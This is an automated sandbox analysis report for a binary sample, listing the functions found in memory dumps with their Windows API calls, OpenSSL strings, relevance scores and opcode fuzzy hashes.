Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B5630
String ID: ..\s\crypto\pem\pem_pkey.c$DH PARAMETERS$X9.42 DH PARAMETERS
API String ID: 2248877218-3633731555
Opcode ID: a869657134236d192bf55b71c30afc63e44118ee3aaabe2d3ab7b1e4e1248b07
Instruction ID: 8f78a24dabaa1ebeadb2c51e0a47753feb60363251364ff2c8fcf2dd08dd54d7
Opcode Fuzzy Hash: a869657134236d192bf55b71c30afc63e44118ee3aaabe2d3ab7b1e4e1248b07
Instruction Fuzzy Hash: 0321A122B0AA8381EB10DB51E4209AAA3A0FF95794F448135EA9C47BFDEF7DD144CF00

Function 00007FF6FB1E2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E2906
MessageBoxA.USER32 ref: 00007FF6FB1E291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6FB1E290E
Warning, xrefs: 00007FF6FB1E28F7

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: 3ed3cb0239aaeb0ff4cb6b4e2db05f74bcbd9ad01f1ac0e3bf737689f830a1be
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 18118172A28A4681EB20DB10F565BAD3364FB48B88F501135DA6D876A4EF3CE605C740

Function 00007FF6FB1E25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E2686
MessageBoxA.USER32 ref: 00007FF6FB1E269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6FB1E268E
Error, xrefs: 00007FF6FB1E2677

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: 36a2b72a220d63366705eaaa16e71de296a558917ac96bff469b69b89cc2150d
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 9F118E72A28A8681EB20DB00F565BAD6364FB4CBC8F901135DA6D876A4EF3CE605C740

Function 00007FFDFB00139D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFDFB0CAD60
WSAGetLastError.WS2_32 ref: 00007FFDFB0CAD6B

Strings

2, xrefs: 00007FFDFB0CAD95
..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB0CAD81, 00007FFDFB0CAD9D

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLastsocket
String ID: ..\s\crypto\bio\b_sock2.c$2
API String ID: 1120909799-2051290508
Opcode ID: 7734bc7eb848a8c2f13e03d8370f2b6d25dc2938cf9324aa6d1bac55b8e4a966
Instruction ID: d4161843b6e6fcc7b21a708a9dcf9532b4e6757e0bcf0df2a9dae95af6bc5020
Opcode Fuzzy Hash: 7734bc7eb848a8c2f13e03d8370f2b6d25dc2938cf9324aa6d1bac55b8e4a966
Instruction Fuzzy Hash: 8001C071B0A99383E7109B21E4109AE6260FF42798F504635E6BD43BFDCF3DD9019B40

Function 00007FF6FB1FB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6FB1FB92F
WriteFile.KERNEL32 ref: 00007FF6FB1FBBF7
WriteFile.KERNEL32 ref: 00007FF6FB1FBC3D
GetLastError.KERNEL32 ref: 00007FF6FB1FBCF3

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction ID: e1affca7c548a8535667676dbf827b4e72c6a21703a0f50ba228eded790927d1
Opcode Fuzzy Hash: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction Fuzzy Hash: C3D1D176F08A8289E721CF69D5402AD37B1FB487D8B144235CE6E97BE9EE38D516C300

Function 00007FF6FB1FC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1FC25B), ref: 00007FF6FB1FC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1FC25B), ref: 00007FF6FB1FC417

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction ID: a7dbcbc1e1f74e19b309d2fcd1c6570bcd3f85d178627569dfc7b3fa630c83f6
Opcode Fuzzy Hash: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction Fuzzy Hash: ED91AF72F1865385F760DB69A4502BD2BA0BB48B8CF144139DE2EE6EE5EE38D441D700

Function 00007FFDFB002DEC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFDFB16A4D0

Strings

Operation not permitted, xrefs: 00007FFDFB16A4C4
unknown, xrefs: 00007FFDFB16A503, 00007FFDFB16A5CA

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLast
String ID: Operation not permitted$unknown
API String ID: 1452528299-31098287
Opcode ID: 3eb7fdf123b224d789d6a34ffa9101ea107b745f6317a6d8691ddf250b284916
Instruction ID: d74a3a7d97b2a96285dba25a36f01989142933d439fe4b2a47a498b2572399d4
Opcode Fuzzy Hash: 3eb7fdf123b224d789d6a34ffa9101ea107b745f6317a6d8691ddf250b284916
Instruction Fuzzy Hash: F4815C22F5AA439AEB10AB11E874B7927A1FB81788F480235DD6D836FDDF7CE4459700

Function 00007FF6FB1FEC9C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB1FED8C
_get_daylight.LIBCMT ref: 00007FF6FB1FED9D
_get_daylight.LIBCMT ref: 00007FF6FB1FEDAE
_isindst.LIBCMT ref: 00007FF6FB1FEE79

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction ID: d4ceb545be7043e67d001a431b80e9bf04aaf939a909428c11a316e0b72fea94
Opcode Fuzzy Hash: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction Fuzzy Hash: 1751E573F041138AEB14DF64AD956BD27A2AB5839DF540135DD2ED2AF6EF38A501C700

Function 00007FF6FB1F4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6FB1F4ABF
GetFileInformationByHandle.KERNEL32 ref: 00007FF6FB1F4B21
GetLastError.KERNEL32 ref: 00007FF6FB1F4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1F49C4), ref: 00007FF6FB1F4BFE

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction ID: 4ec867d2007e2f41d018b0819f3d7f61bae324759b9f82f4574747d48d87c50b
Opcode Fuzzy Hash: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction Fuzzy Hash: 35516822E086428AFB24DF7194503BD23A1AF4CB9CF149535DE29C76A9EF38D5A1C740

Function 00007FF6FB1E2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6FB1E2064
SetWindowLongPtrW.USER32 ref: 00007FF6FB1E2086
GetWindowLongPtrW.USER32 ref: 00007FF6FB1E20B0
InvalidateRect.USER32 ref: 00007FF6FB1E20D0

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 59bb9a2abd7cb7dc067461ba02fc92d881dd4d05ad8528567b615fd358c1a378
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 1A11C631E0814342FB64EB6AE55827D1291EF8CBC4F949031DA6987FEAED2CF4C18640

Function 00007FF6FB1EC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6FB1EC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF6FB1EC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF6FB1EC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF6FB1EC386

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: 0d44c07b34abdebbf698619f9d83ddde915a951e6aea69ede6e902a6afa5f816
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 9B114826B14B068AEB00DB60E9542BC33A4FB5D758F041E31DA2DC6BA4EF78E1998340

Function 00007FF6FB204E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB200A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB200AA3

_get_daylight.LIBCMT ref: 00007FF6FB204F44
_get_daylight.LIBCMT ref: 00007FF6FB204F55

Strings

?, xrefs: 00007FF6FB204ED5

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction ID: 11d8f06991529424cd6897463360c2c90a14e325b5a542a2007728b21feedea8
Opcode Fuzzy Hash: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction Fuzzy Hash: 88412A12A0828345FB249B25D5253795660EF987E4F109235EE7CC6AF5FF3CD541C700

Function 00007FFDFB002743 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFB0AA8A2

Strings

%04d%02d%02d%02d%02d%02dZ, xrefs: 00007FFDFB0AA9A8
%02d%02d%02d%02d%02d%02dZ, xrefs: 00007FFDFB0AA9B5

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007
String ID: %02d%02d%02d%02d%02d%02dZ$%04d%02d%02d%02d%02d%02dZ
API String ID: 3568877910-2648760357
Opcode ID: 35c0674a6fc9a5195c317095fe527ac94bcdae6bb520b7aade9e85fd0519ba43
Instruction ID: 5efa28e1edcf241e4b1ba7a9ecf14fa6d13e38bbe22d3a1de5c1e074c4807dec
Opcode Fuzzy Hash: 35c0674a6fc9a5195c317095fe527ac94bcdae6bb520b7aade9e85fd0519ba43
Instruction Fuzzy Hash: 50516132B1D7828AE760CB15E45066AB7A4FB89780F544135EA9D87BEDEF3CE4419B00

Function 00007FFDFB001613 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FFDFB0C6B6E
getaddrinfo.WS2_32 ref: 00007FFDFB0C6BAF

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FFDFB0C6BDC, 00007FFDFB0C6C23, 00007FFDFB0C6C4F

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
